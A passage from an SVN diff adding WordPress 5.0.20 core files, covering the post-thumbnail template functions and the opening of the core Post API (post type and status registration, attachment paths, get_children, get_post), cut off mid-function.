+function wp_list_post_revisions( $post_id = 0, $type = 'all' ) {
+	if ( ! $post = get_post( $post_id ) )
+		return;
+
+	// $args array with (parent, format, right, left, type) deprecated since 3.6
+	if ( is_array( $type ) ) {
+		$type = ! empty( $type['type'] ) ? $type['type']  : $type;
+		_deprecated_argument( __FUNCTION__, '3.6.0' );
+	}
+
+	if ( ! $revisions = wp_get_post_revisions( $post->ID ) )
+		return;
+
+	$rows = '';
+	foreach ( $revisions as $revision ) {
+		if ( ! current_user_can( 'read_post', $revision->ID ) )
+			continue;
+
+		$is_autosave = wp_is_post_autosave( $revision );
+		if ( ( 'revision' === $type && $is_autosave ) || ( 'autosave' === $type && ! $is_autosave ) )
+			continue;
+
+		$rows .= "\t<li>" . wp_post_revision_title_expanded( $revision ) . "</li>\n";
+	}
+
+	echo "<div class='hide-if-js'><p>" . __( 'JavaScript must be enabled to use this feature.' ) . "</p></div>\n";
+
+	echo "<ul class='post-revisions hide-if-no-js'>\n";
+	echo $rows;
+	echo "</ul>";
+}
Index: /tags/5.0.20/src/wp-includes/post-thumbnail-template.php
===================================================================
--- /tags/5.0.20/src/wp-includes/post-thumbnail-template.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/post-thumbnail-template.php	(revision 56912)
@@ -0,0 +1,259 @@
+<?php
+/**
+ * WordPress Post Thumbnail Template Functions.
+ *
+ * Support for post thumbnails.
+ * Theme's functions.php must call add_theme_support( 'post-thumbnails' ) to use these.
+ *
+ * @package WordPress
+ * @subpackage Template
+ */
+
+/**
+ * Determines whether a post has an image attached.
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ *
+ * @since 2.9.0
+ * @since 4.4.0 `$post` can be a post ID or WP_Post object.
+ *
+ * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`.
+ * @return bool Whether the post has an image attached.
+ */
+function has_post_thumbnail( $post = null ) {
+	return (bool) get_post_thumbnail_id( $post );
+}
+
+/**
+ * Retrieve post thumbnail ID.
+ *
+ * @since 2.9.0
+ * @since 4.4.0 `$post` can be a post ID or WP_Post object.
+ *
+ * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`.
+ * @return string|int Post thumbnail ID or empty string.
+ */
+function get_post_thumbnail_id( $post = null ) {
+	$post = get_post( $post );
+	if ( ! $post ) {
+		return '';
+	}
+	return get_post_meta( $post->ID, '_thumbnail_id', true );
+}
+
+/**
+ * Display the post thumbnail.
+ *
+ * When a theme adds 'post-thumbnail' support, a special 'post-thumbnail' image size
+ * is registered, which differs from the 'thumbnail' image size managed via the
+ * Settings > Media screen.
+ *
+ * When using the_post_thumbnail() or related functions, the 'post-thumbnail' image
+ * size is used by default, though a different size can be specified instead as needed.
+ *
+ * @since 2.9.0
+ *
+ * @see get_the_post_thumbnail()
+ *
+ * @param string|array $size Optional. Image size to use. Accepts any valid image size, or
+ *                           an array of width and height values in pixels (in that order).
+ *                           Default 'post-thumbnail'.
+ * @param string|array $attr Optional. Query string or array of attributes. Default empty.
+ */
+function the_post_thumbnail( $size = 'post-thumbnail', $attr = '' ) {
+	echo get_the_post_thumbnail( null, $size, $attr );
+}
+
+/**
+ * Update cache for thumbnails in the current loop.
+ *
+ * @since 3.2.0
+ *
+ * @global WP_Query $wp_query
+ *
+ * @param WP_Query $wp_query Optional. A WP_Query instance. Defaults to the $wp_query global.
+ */
+function update_post_thumbnail_cache( $wp_query = null ) {
+	if ( ! $wp_query )
+		$wp_query = $GLOBALS['wp_query'];
+
+	if ( $wp_query->thumbnails_cached )
+		return;
+
+	$thumb_ids = array();
+	foreach ( $wp_query->posts as $post ) {
+		if ( $id = get_post_thumbnail_id( $post->ID ) )
+			$thumb_ids[] = $id;
+	}
+
+	if ( ! empty ( $thumb_ids ) ) {
+		_prime_post_caches( $thumb_ids, false, true );
+	}
+
+	$wp_query->thumbnails_cached = true;
+}
+
+/**
+ * Retrieve the post thumbnail.
+ *
+ * When a theme adds 'post-thumbnail' support, a special 'post-thumbnail' image size
+ * is registered, which differs from the 'thumbnail' image size managed via the
+ * Settings > Media screen.
+ *
+ * When using the_post_thumbnail() or related functions, the 'post-thumbnail' image
+ * size is used by default, though a different size can be specified instead as needed.
+ *
+ * @since 2.9.0
+ * @since 4.4.0 `$post` can be a post ID or WP_Post object.
+ *
+ * @param int|WP_Post  $post Optional. Post ID or WP_Post object.  Default is global `$post`.
+ * @param string|array $size Optional. Image size to use. Accepts any valid image size, or
+ *                           an array of width and height values in pixels (in that order).
+ *                           Default 'post-thumbnail'.
+ * @param string|array $attr Optional. Query string or array of attributes. Default empty.
+ * @return string The post thumbnail image tag.
+ */
+function get_the_post_thumbnail( $post = null, $size = 'post-thumbnail', $attr = '' ) {
+	$post = get_post( $post );
+	if ( ! $post ) {
+		return '';
+	}
+	$post_thumbnail_id = get_post_thumbnail_id( $post );
+
+	/**
+	 * Filters the post thumbnail size.
+	 *
+	 * @since 2.9.0
+	 * @since 4.9.0 Added the `$post_id` parameter.
+	 *
+	 * @param string|array $size    The post thumbnail size. Image size or array of width and height
+	 *                              values (in that order). Default 'post-thumbnail'.
+	 * @param int          $post_id The post ID.
+	 */
+	$size = apply_filters( 'post_thumbnail_size', $size, $post->ID );
+
+	if ( $post_thumbnail_id ) {
+
+		/**
+		 * Fires before fetching the post thumbnail HTML.
+		 *
+		 * Provides "just in time" filtering of all filters in wp_get_attachment_image().
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param int          $post_id           The post ID.
+		 * @param string       $post_thumbnail_id The post thumbnail ID.
+		 * @param string|array $size              The post thumbnail size. Image size or array of width
+		 *                                        and height values (in that order). Default 'post-thumbnail'.
+		 */
+		do_action( 'begin_fetch_post_thumbnail_html', $post->ID, $post_thumbnail_id, $size );
+		if ( in_the_loop() )
+			update_post_thumbnail_cache();
+		$html = wp_get_attachment_image( $post_thumbnail_id, $size, false, $attr );
+
+		/**
+		 * Fires after fetching the post thumbnail HTML.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param int          $post_id           The post ID.
+		 * @param string       $post_thumbnail_id The post thumbnail ID.
+		 * @param string|array $size              The post thumbnail size. Image size or array of width
+		 *                                        and height values (in that order). Default 'post-thumbnail'.
+		 */
+		do_action( 'end_fetch_post_thumbnail_html', $post->ID, $post_thumbnail_id, $size );
+
+	} else {
+		$html = '';
+	}
+	/**
+	 * Filters the post thumbnail HTML.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param string       $html              The post thumbnail HTML.
+	 * @param int          $post_id           The post ID.
+	 * @param string       $post_thumbnail_id The post thumbnail ID.
+	 * @param string|array $size              The post thumbnail size. Image size or array of width and height
+	 *                                        values (in that order). Default 'post-thumbnail'.
+	 * @param string       $attr              Query string of attributes.
+	 */
+	return apply_filters( 'post_thumbnail_html', $html, $post->ID, $post_thumbnail_id, $size, $attr );
+}
+
+/**
+ * Return the post thumbnail URL.
+ *
+ * @since 4.4.0
+ *
+ * @param int|WP_Post  $post Optional. Post ID or WP_Post object.  Default is global `$post`.
+ * @param string|array $size Optional. Registered image size to retrieve the source for or a flat
+ *                           array of height and width dimensions. Default 'post-thumbnail'.
+ * @return string|false Post thumbnail URL or false if no URL is available.
+ */
+function get_the_post_thumbnail_url( $post = null, $size = 'post-thumbnail' ) {
+	$post_thumbnail_id = get_post_thumbnail_id( $post );
+	if ( ! $post_thumbnail_id ) {
+		return false;
+	}
+	return wp_get_attachment_image_url( $post_thumbnail_id, $size );
+}
+
+/**
+ * Display the post thumbnail URL.
+ *
+ * @since 4.4.0
+ *
+ * @param string|array $size Optional. Image size to use. Accepts any valid image size,
+ *                           or an array of width and height values in pixels (in that order).
+ *                           Default 'post-thumbnail'.
+ */
+function the_post_thumbnail_url( $size = 'post-thumbnail' ) {
+	$url = get_the_post_thumbnail_url( null, $size );
+	if ( $url ) {
+		echo esc_url( $url );
+	}
+}
+
+/**
+ * Returns the post thumbnail caption.
+ *
+ * @since 4.6.0
+ *
+ * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`.
+ * @return string Post thumbnail caption.
+ */
+function get_the_post_thumbnail_caption( $post = null ) {
+	$post_thumbnail_id = get_post_thumbnail_id( $post );
+	if ( ! $post_thumbnail_id ) {
+		return '';
+	}
+
+	$caption = wp_get_attachment_caption( $post_thumbnail_id );
+
+	if ( ! $caption ) {
+		$caption = '';
+	}
+
+	return $caption;
+}
+
+/**
+ * Displays the post thumbnail caption.
+ *
+ * @since 4.6.0
+ *
+ * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`.
+ */
+function the_post_thumbnail_caption( $post = null ) {
+	/**
+	 * Filters the displayed post thumbnail caption.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param string $caption Caption for the given attachment.
+	 */
+	echo apply_filters( 'the_post_thumbnail_caption', get_the_post_thumbnail_caption( $post ) );
+}
Index: /tags/5.0.20/src/wp-includes/post.php
===================================================================
--- /tags/5.0.20/src/wp-includes/post.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/post.php	(revision 56912)
@@ -0,0 +1,6640 @@
+<?php
+/**
+ * Core Post API
+ *
+ * @package WordPress
+ * @subpackage Post
+ */
+
+//
+// Post Type Registration
+//
+
+/**
+ * Creates the initial post types when 'init' action is fired.
+ *
+ * See {@see 'init'}.
+ *
+ * @since 2.9.0
+ */
+function create_initial_post_types() {
+	register_post_type( 'post', array(
+		'labels' => array(
+			'name_admin_bar' => _x( 'Post', 'add new from admin bar' ),
+		),
+		'public'  => true,
+		'_builtin' => true, /* internal use only. don't use this when registering your own post type. */
+		'_edit_link' => 'post.php?post=%d', /* internal use only. don't use this when registering your own post type. */
+		'capability_type' => 'post',
+		'map_meta_cap' => true,
+		'menu_position' => 5,
+		'hierarchical' => false,
+		'rewrite' => false,
+		'query_var' => false,
+		'delete_with_user' => true,
+		'supports' => array( 'title', 'editor', 'author', 'thumbnail', 'excerpt', 'trackbacks', 'custom-fields', 'comments', 'revisions', 'post-formats' ),
+		'show_in_rest' => true,
+		'rest_base' => 'posts',
+		'rest_controller_class' => 'WP_REST_Posts_Controller',
+	) );
+
+	register_post_type( 'page', array(
+		'labels' => array(
+			'name_admin_bar' => _x( 'Page', 'add new from admin bar' ),
+		),
+		'public' => true,
+		'publicly_queryable' => false,
+		'_builtin' => true, /* internal use only. don't use this when registering your own post type. */
+		'_edit_link' => 'post.php?post=%d', /* internal use only. don't use this when registering your own post type. */
+		'capability_type' => 'page',
+		'map_meta_cap' => true,
+		'menu_position' => 20,
+		'hierarchical' => true,
+		'rewrite' => false,
+		'query_var' => false,
+		'delete_with_user' => true,
+		'supports' => array( 'title', 'editor', 'author', 'thumbnail', 'page-attributes', 'custom-fields', 'comments', 'revisions' ),
+		'show_in_rest' => true,
+		'rest_base' => 'pages',
+		'rest_controller_class' => 'WP_REST_Posts_Controller',
+	) );
+
+	register_post_type( 'attachment', array(
+		'labels' => array(
+			'name' => _x('Media', 'post type general name'),
+			'name_admin_bar' => _x( 'Media', 'add new from admin bar' ),
+			'add_new' => _x( 'Add New', 'add new media' ),
+ 			'edit_item' => __( 'Edit Media' ),
+ 			'view_item' => __( 'View Attachment Page' ),
+			'attributes' => __( 'Attachment Attributes' ),
+		),
+		'public' => true,
+		'show_ui' => true,
+		'_builtin' => true, /* internal use only. don't use this when registering your own post type. */
+		'_edit_link' => 'post.php?post=%d', /* internal use only. don't use this when registering your own post type. */
+		'capability_type' => 'post',
+		'capabilities' => array(
+			'create_posts' => 'upload_files',
+		),
+		'map_meta_cap' => true,
+		'hierarchical' => false,
+		'rewrite' => false,
+		'query_var' => false,
+		'show_in_nav_menus' => false,
+		'delete_with_user' => true,
+		'supports' => array( 'title', 'author', 'comments' ),
+		'show_in_rest' => true,
+		'rest_base' => 'media',
+		'rest_controller_class' => 'WP_REST_Attachments_Controller',
+	) );
+	add_post_type_support( 'attachment:audio', 'thumbnail' );
+	add_post_type_support( 'attachment:video', 'thumbnail' );
+
+	register_post_type( 'revision', array(
+		'labels' => array(
+			'name' => __( 'Revisions' ),
+			'singular_name' => __( 'Revision' ),
+		),
+		'public' => false,
+		'_builtin' => true, /* internal use only. don't use this when registering your own post type. */
+		'_edit_link' => 'revision.php?revision=%d', /* internal use only. don't use this when registering your own post type. */
+		'capability_type' => 'post',
+		'map_meta_cap' => true,
+		'hierarchical' => false,
+		'rewrite' => false,
+		'query_var' => false,
+		'can_export' => false,
+		'delete_with_user' => true,
+		'supports' => array( 'author' ),
+	) );
+
+	register_post_type( 'nav_menu_item', array(
+		'labels' => array(
+			'name' => __( 'Navigation Menu Items' ),
+			'singular_name' => __( 'Navigation Menu Item' ),
+		),
+		'public' => false,
+		'_builtin' => true, /* internal use only. don't use this when registering your own post type. */
+		'hierarchical' => false,
+		'rewrite' => false,
+		'delete_with_user' => false,
+		'query_var' => false,
+	) );
+
+	register_post_type( 'custom_css', array(
+		'labels' => array(
+			'name'          => __( 'Custom CSS' ),
+			'singular_name' => __( 'Custom CSS' ),
+		),
+		'public'           => false,
+		'hierarchical'     => false,
+		'rewrite'          => false,
+		'query_var'        => false,
+		'delete_with_user' => false,
+		'can_export'       => true,
+		'_builtin'         => true, /* internal use only. don't use this when registering your own post type. */
+		'supports'         => array( 'title', 'revisions' ),
+		'capabilities'     => array(
+			'delete_posts'           => 'edit_theme_options',
+			'delete_post'            => 'edit_theme_options',
+			'delete_published_posts' => 'edit_theme_options',
+			'delete_private_posts'   => 'edit_theme_options',
+			'delete_others_posts'    => 'edit_theme_options',
+			'edit_post'              => 'edit_css',
+			'edit_posts'             => 'edit_css',
+			'edit_others_posts'      => 'edit_css',
+			'edit_published_posts'   => 'edit_css',
+			'read_post'              => 'read',
+			'read_private_posts'     => 'read',
+			'publish_posts'          => 'edit_theme_options',
+		),
+	) );
+
+	register_post_type( 'customize_changeset', array(
+		'labels' => array(
+			'name'               => _x( 'Changesets', 'post type general name' ),
+			'singular_name'      => _x( 'Changeset', 'post type singular name' ),
+			'menu_name'          => _x( 'Changesets', 'admin menu' ),
+			'name_admin_bar'     => _x( 'Changeset', 'add new on admin bar' ),
+			'add_new'            => _x( 'Add New', 'Customize Changeset' ),
+			'add_new_item'       => __( 'Add New Changeset' ),
+			'new_item'           => __( 'New Changeset' ),
+			'edit_item'          => __( 'Edit Changeset' ),
+			'view_item'          => __( 'View Changeset' ),
+			'all_items'          => __( 'All Changesets' ),
+			'search_items'       => __( 'Search Changesets' ),
+			'not_found'          => __( 'No changesets found.' ),
+			'not_found_in_trash' => __( 'No changesets found in Trash.' ),
+		),
+		'public' => false,
+		'_builtin' => true, /* internal use only. don't use this when registering your own post type. */
+		'map_meta_cap' => true,
+		'hierarchical' => false,
+		'rewrite' => false,
+		'query_var' => false,
+		'can_export' => false,
+		'delete_with_user' => false,
+		'supports' => array( 'title', 'author' ),
+		'capability_type' => 'customize_changeset',
+		'capabilities' => array(
+			'create_posts' => 'customize',
+			'delete_others_posts' => 'customize',
+			'delete_post' => 'customize',
+			'delete_posts' => 'customize',
+			'delete_private_posts' => 'customize',
+			'delete_published_posts' => 'customize',
+			'edit_others_posts' => 'customize',
+			'edit_post' => 'customize',
+			'edit_posts' => 'customize',
+			'edit_private_posts' => 'customize',
+			'edit_published_posts' => 'do_not_allow',
+			'publish_posts' => 'customize',
+			'read' => 'read',
+			'read_post' => 'customize',
+			'read_private_posts' => 'customize',
+		),
+	) );
+
+	register_post_type( 'oembed_cache', array(
+		'labels' => array(
+			'name'          => __( 'oEmbed Responses' ),
+			'singular_name' => __( 'oEmbed Response' ),
+		),
+		'public'           => false,
+		'hierarchical'     => false,
+		'rewrite'          => false,
+		'query_var'        => false,
+		'delete_with_user' => false,
+		'can_export'       => false,
+		'_builtin'         => true, /* internal use only. don't use this when registering your own post type. */
+		'supports'         => array(),
+	) );
+
+	register_post_type( 'user_request', array(
+		'labels'           => array(
+			'name'          => __( 'User Requests' ),
+			'singular_name' => __( 'User Request' ),
+		),
+		'public'           => false,
+		'_builtin'         => true, /* internal use only. don't use this when registering your own post type. */
+		'hierarchical'     => false,
+		'rewrite'          => false,
+		'query_var'        => false,
+		'can_export'       => false,
+		'delete_with_user' => false,
+		'supports'         => array(),
+	) );
+
+	register_post_type(
+		'wp_block',
+		array(
+			'labels'                => array(
+				'name'                     => _x( 'Blocks', 'post type general name' ),
+				'singular_name'            => _x( 'Block', 'post type singular name' ),
+				'menu_name'                => _x( 'Blocks', 'admin menu' ),
+				'name_admin_bar'           => _x( 'Block', 'add new on admin bar' ),
+				'add_new'                  => _x( 'Add New', 'Block' ),
+				'add_new_item'             => __( 'Add New Block' ),
+				'new_item'                 => __( 'New Block' ),
+				'edit_item'                => __( 'Edit Block' ),
+				'view_item'                => __( 'View Block' ),
+				'all_items'                => __( 'All Blocks' ),
+				'search_items'             => __( 'Search Blocks' ),
+				'not_found'                => __( 'No blocks found.' ),
+				'not_found_in_trash'       => __( 'No blocks found in Trash.' ),
+				'filter_items_list'        => __( 'Filter blocks list' ),
+				'items_list_navigation'    => __( 'Blocks list navigation' ),
+				'items_list'               => __( 'Blocks list' ),
+				'item_published'           => __( 'Block published.' ),
+				'item_published_privately' => __( 'Block published privately.' ),
+				'item_reverted_to_draft'   => __( 'Block reverted to draft.' ),
+				'item_scheduled'           => __( 'Block scheduled.' ),
+				'item_updated'             => __( 'Block updated.' ),
+			),
+			'public'                => false,
+			'_builtin'              => true, /* internal use only. don't use this when registering your own post type. */
+			'show_ui'               => true,
+			'show_in_menu'          => false,
+			'rewrite'               => false,
+			'show_in_rest'          => true,
+			'rest_base'             => 'blocks',
+			'rest_controller_class' => 'WP_REST_Blocks_Controller',
+			'capability_type'       => 'block',
+			'capabilities'          => array(
+				// You need to be able to edit posts, in order to read blocks in their raw form.
+				'read'                   => 'edit_posts',
+				// You need to be able to publish posts, in order to create blocks.
+				'create_posts'           => 'publish_posts',
+				'edit_published_posts'   => 'edit_published_posts',
+				'delete_published_posts' => 'delete_published_posts',
+				'edit_others_posts'      => 'edit_others_posts',
+				'delete_others_posts'    => 'delete_others_posts',
+			),
+			'map_meta_cap'          => true,
+			'supports'              => array(
+				'title',
+				'editor',
+			),
+		)
+	);
+
+
+	register_post_status( 'publish', array(
+		'label'       => _x( 'Published', 'post status' ),
+		'public'      => true,
+		'_builtin'    => true, /* internal use only. */
+		'label_count' => _n_noop( 'Published <span class="count">(%s)</span>', 'Published <span class="count">(%s)</span>' ),
+	) );
+
+	register_post_status( 'future', array(
+		'label'       => _x( 'Scheduled', 'post status' ),
+		'protected'   => true,
+		'_builtin'    => true, /* internal use only. */
+		'label_count' => _n_noop('Scheduled <span class="count">(%s)</span>', 'Scheduled <span class="count">(%s)</span>' ),
+	) );
+
+	register_post_status( 'draft', array(
+		'label'       => _x( 'Draft', 'post status' ),
+		'protected'   => true,
+		'_builtin'    => true, /* internal use only. */
+		'label_count' => _n_noop( 'Draft <span class="count">(%s)</span>', 'Drafts <span class="count">(%s)</span>' ),
+	) );
+
+	register_post_status( 'pending', array(
+		'label'       => _x( 'Pending', 'post status' ),
+		'protected'   => true,
+		'_builtin'    => true, /* internal use only. */
+		'label_count' => _n_noop( 'Pending <span class="count">(%s)</span>', 'Pending <span class="count">(%s)</span>' ),
+	) );
+
+	register_post_status( 'private', array(
+		'label'       => _x( 'Private', 'post status' ),
+		'private'     => true,
+		'_builtin'    => true, /* internal use only. */
+		'label_count' => _n_noop( 'Private <span class="count">(%s)</span>', 'Private <span class="count">(%s)</span>' ),
+	) );
+
+	register_post_status( 'trash', array(
+		'label'       => _x( 'Trash', 'post status' ),
+		'internal'    => true,
+		'_builtin'    => true, /* internal use only. */
+		'label_count' => _n_noop( 'Trash <span class="count">(%s)</span>', 'Trash <span class="count">(%s)</span>' ),
+		'show_in_admin_status_list' => true,
+	) );
+
+	register_post_status( 'auto-draft', array(
+		'label'    => 'auto-draft',
+		'internal' => true,
+		'_builtin' => true, /* internal use only. */
+	) );
+
+	register_post_status( 'inherit', array(
+		'label'    => 'inherit',
+		'internal' => true,
+		'_builtin' => true, /* internal use only. */
+		'exclude_from_search' => false,
+	) );
+
+	register_post_status( 'request-pending', array(
+		'label'               => _x( 'Pending', 'request status' ),
+		'internal'            => true,
+		'_builtin'            => true, /* internal use only. */
+		'exclude_from_search' => false,
+	) );
+
+	register_post_status( 'request-confirmed', array(
+		'label'               => _x( 'Confirmed', 'request status' ),
+		'internal'            => true,
+		'_builtin'            => true, /* internal use only. */
+		'exclude_from_search' => false,
+	) );
+
+	register_post_status( 'request-failed', array(
+		'label'               => _x( 'Failed', 'request status' ),
+		'internal'            => true,
+		'_builtin'            => true, /* internal use only. */
+		'exclude_from_search' => false,
+	) );
+
+	register_post_status( 'request-completed', array(
+		'label'               => _x( 'Completed', 'request status' ),
+		'internal'            => true,
+		'_builtin'            => true, /* internal use only. */
+		'exclude_from_search' => false,
+	) );
+}
+
+/**
+ * Retrieve attached file path based on attachment ID.
+ *
+ * By default the path will go through the 'get_attached_file' filter, but
+ * passing a true to the $unfiltered argument of get_attached_file() will
+ * return the file path unfiltered.
+ *
+ * The function works by getting the single post meta name, named
+ * '_wp_attached_file' and returning it. This is a convenience function to
+ * prevent looking up the meta name and provide a mechanism for sending the
+ * attached filename through a filter.
+ *
+ * @since 2.0.0
+ *
+ * @param int  $attachment_id Attachment ID.
+ * @param bool $unfiltered    Optional. Whether to apply filters. Default false.
+ * @return string|false The file path to where the attached file should be, false otherwise.
+ */
+function get_attached_file( $attachment_id, $unfiltered = false ) {
+	$file = get_post_meta( $attachment_id, '_wp_attached_file', true );
+
+	// If the file is relative, prepend upload dir.
+	if ( $file && 0 !== strpos( $file, '/' ) && ! preg_match( '|^.:\\\|', $file ) && ( ( $uploads = wp_get_upload_dir() ) && false === $uploads['error'] ) ) {
+		$file = $uploads['basedir'] . "/$file";
+	}
+
+	if ( $unfiltered ) {
+		return $file;
+	}
+
+	/**
+	 * Filters the attached file based on the given ID.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $file          Path to attached file.
+	 * @param int    $attachment_id Attachment ID.
+	 */
+	return apply_filters( 'get_attached_file', $file, $attachment_id );
+}
+
+/**
+ * Update attachment file path based on attachment ID.
+ *
+ * Used to update the file path of the attachment, which uses post meta name
+ * '_wp_attached_file' to store the path of the attachment.
+ *
+ * @since 2.1.0
+ *
+ * @param int    $attachment_id Attachment ID.
+ * @param string $file          File path for the attachment.
+ * @return bool True on success, false on failure.
+ */
+function update_attached_file( $attachment_id, $file ) {
+	if ( !get_post( $attachment_id ) )
+		return false;
+
+	/**
+	 * Filters the path to the attached file to update.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $file          Path to the attached file to update.
+	 * @param int    $attachment_id Attachment ID.
+	 */
+	$file = apply_filters( 'update_attached_file', $file, $attachment_id );
+
+	if ( $file = _wp_relative_upload_path( $file ) )
+		return update_post_meta( $attachment_id, '_wp_attached_file', $file );
+	else
+		return delete_post_meta( $attachment_id, '_wp_attached_file' );
+}
+
+/**
+ * Return relative path to an uploaded file.
+ *
+ * The path is relative to the current upload dir.
+ *
+ * @since 2.9.0
+ *
+ * @param string $path Full path to the file.
+ * @return string Relative path on success, unchanged path on failure.
+ */
+function _wp_relative_upload_path( $path ) {
+	$new_path = $path;
+
+	$uploads = wp_get_upload_dir();
+	if ( 0 === strpos( $new_path, $uploads['basedir'] ) ) {
+			$new_path = str_replace( $uploads['basedir'], '', $new_path );
+			$new_path = ltrim( $new_path, '/' );
+	}
+
+	/**
+	 * Filters the relative path to an uploaded file.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param string $new_path Relative path to the file.
+	 * @param string $path     Full path to the file.
+	 */
+	return apply_filters( '_wp_relative_upload_path', $new_path, $path );
+}
+
+/**
+ * Retrieve all children of the post parent ID.
+ *
+ * Normally, without any enhancements, the children would apply to pages. In the
+ * context of the inner workings of WordPress, pages, posts, and attachments
+ * share the same table, so therefore the functionality could apply to any one
+ * of them. It is then noted that while this function does not work on posts, it
+ * does not mean that it won't work on posts. It is recommended that you know
+ * what context you wish to retrieve the children of.
+ *
+ * Attachments may also be made the child of a post, so if that is an accurate
+ * statement (which needs to be verified), it would then be possible to get
+ * all of the attachments for a post. Attachments have since changed since
+ * version 2.5, so this is most likely inaccurate, but serves generally as an
+ * example of what is possible.
+ *
+ * The arguments listed as defaults are for this function and also of the
+ * get_posts() function. The arguments are combined with the get_children defaults
+ * and are then passed to the get_posts() function, which accepts additional arguments.
+ * You can replace the defaults in this function, listed below and the additional
+ * arguments listed in the get_posts() function.
+ *
+ * The 'post_parent' is the most important argument and important attention
+ * needs to be paid to the $args parameter. If you pass either an object or an
+ * integer (number), then just the 'post_parent' is grabbed and everything else
+ * is lost. If you don't specify any arguments, then it is assumed that you are
+ * in The Loop and the post parent will be grabbed for from the current post.
+ *
+ * The 'post_parent' argument is the ID to get the children. The 'numberposts'
+ * is the amount of posts to retrieve that has a default of '-1', which is
+ * used to get all of the posts. Giving a number higher than 0 will only
+ * retrieve that amount of posts.
+ *
+ * The 'post_type' and 'post_status' arguments can be used to choose what
+ * criteria of posts to retrieve. The 'post_type' can be anything, but WordPress
+ * post types are 'post', 'pages', and 'attachments'. The 'post_status'
+ * argument will accept any post status within the write administration panels.
+ *
+ * @since 2.0.0
+ *
+ * @see get_posts()
+ * @todo Check validity of description.
+ *
+ * @global WP_Post $post
+ *
+ * @param mixed  $args   Optional. User defined arguments for replacing the defaults. Default empty.
+ * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which correspond to
+ *                       a WP_Post object, an associative array, or a numeric array, respectively. Default OBJECT.
+ * @return array Array of children, where the type of each element is determined by $output parameter.
+ *               Empty array on failure.
+ */
+function get_children( $args = '', $output = OBJECT ) {
+	$kids = array();
+	if ( empty( $args ) ) {
+		if ( isset( $GLOBALS['post'] ) ) {
+			$args = array('post_parent' => (int) $GLOBALS['post']->post_parent );
+		} else {
+			return $kids;
+		}
+	} elseif ( is_object( $args ) ) {
+		$args = array('post_parent' => (int) $args->post_parent );
+	} elseif ( is_numeric( $args ) ) {
+		$args = array('post_parent' => (int) $args);
+	}
+
+	$defaults = array(
+		'numberposts' => -1, 'post_type' => 'any',
+		'post_status' => 'any', 'post_parent' => 0,
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+
+	$children = get_posts( $r );
+
+	if ( ! $children )
+		return $kids;
+
+	if ( ! empty( $r['fields'] ) )
+		return $children;
+
+	update_post_cache($children);
+
+	foreach ( $children as $key => $child )
+		$kids[$child->ID] = $children[$key];
+
+	if ( $output == OBJECT ) {
+		return $kids;
+	} elseif ( $output == ARRAY_A ) {
+		$weeuns = array();
+		foreach ( (array) $kids as $kid ) {
+			$weeuns[$kid->ID] = get_object_vars($kids[$kid->ID]);
+		}
+		return $weeuns;
+	} elseif ( $output == ARRAY_N ) {
+		$babes = array();
+		foreach ( (array) $kids as $kid ) {
+			$babes[$kid->ID] = array_values(get_object_vars($kids[$kid->ID]));
+		}
+		return $babes;
+	} else {
+		return $kids;
+	}
+}
+
+/**
+ * Get extended entry info (<!--more-->).
+ *
+ * There should not be any space after the second dash and before the word
+ * 'more'. There can be text or space(s) after the word 'more', but won't be
+ * referenced.
+ *
+ * The returned array has 'main', 'extended', and 'more_text' keys. Main has the text before
+ * the `<!--more-->`. The 'extended' key has the content after the
+ * `<!--more-->` comment. The 'more_text' key has the custom "Read More" text.
+ *
+ * @since 1.0.0
+ *
+ * @param string $post Post content.
+ * @return array Post before ('main'), after ('extended'), and custom read more ('more_text').
+ */
+function get_extended( $post ) {
+	//Match the new style more links.
+	if ( preg_match('/<!--more(.*?)?-->/', $post, $matches) ) {
+		list($main, $extended) = explode($matches[0], $post, 2);
+		$more_text = $matches[1];
+	} else {
+		$main = $post;
+		$extended = '';
+		$more_text = '';
+	}
+
+	//  leading and trailing whitespace.
+	$main = preg_replace('/^[\s]*(.*)[\s]*$/', '\\1', $main);
+	$extended = preg_replace('/^[\s]*(.*)[\s]*$/', '\\1', $extended);
+	$more_text = preg_replace('/^[\s]*(.*)[\s]*$/', '\\1', $more_text);
+
+	return array( 'main' => $main, 'extended' => $extended, 'more_text' => $more_text );
+}
+
+/**
+ * Retrieves post data given a post ID or post object.
+ *
+ * See sanitize_post() for optional $filter values. Also, the parameter
+ * `$post`, must be given as a variable, since it is passed by reference.
+ *
+ * @since 1.5.1
+ *
+ * @global WP_Post $post
+ *
+ * @param int|WP_Post|null $post   Optional. Post ID or post object. Defaults to global $post.
+ * @param string           $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which correspond to
+ *                                 a WP_Post object, an associative array, or a numeric array, respectively. Default OBJECT.
+ * @param string           $filter Optional. Type of filter to apply. Accepts 'raw', 'edit', 'db',
+ *                                 or 'display'. Default 'raw'.
+ * @return WP_Post|array|null Type corresponding to $output on success or null on failure.
+ *                            When $output is OBJECT, a `WP_Post` instance is returned.
+ */
+function get_post( $post = null, $output = OBJECT, $filter = 'raw' ) {
+	if ( empty( $post ) && isset( $GLOBALS['post'] ) )
+		$post = $GLOBALS['post'];
+
+	if ( $post instanceof WP_Post ) {
+		$_post = $post;
+	} elseif ( is_object( $post ) ) {
+		if ( empty( $post->filter ) ) {
+			$_post = sanitize_post( $post, 'raw' );
+			$_post = new WP_Post( $_post );
+		} elseif ( 'raw' == $post->filter ) {
+			$_post = new WP_Post( $post );
+		} else {
+			$_post = WP_Post::get_instance( $post->ID );
+		}
+	} else {
+		$_post = WP_Post::get_instance( $post );
+	}
+
+	if ( ! $_post )
+		return null;
+
+	$_post = $_post->filter( $filter );
+
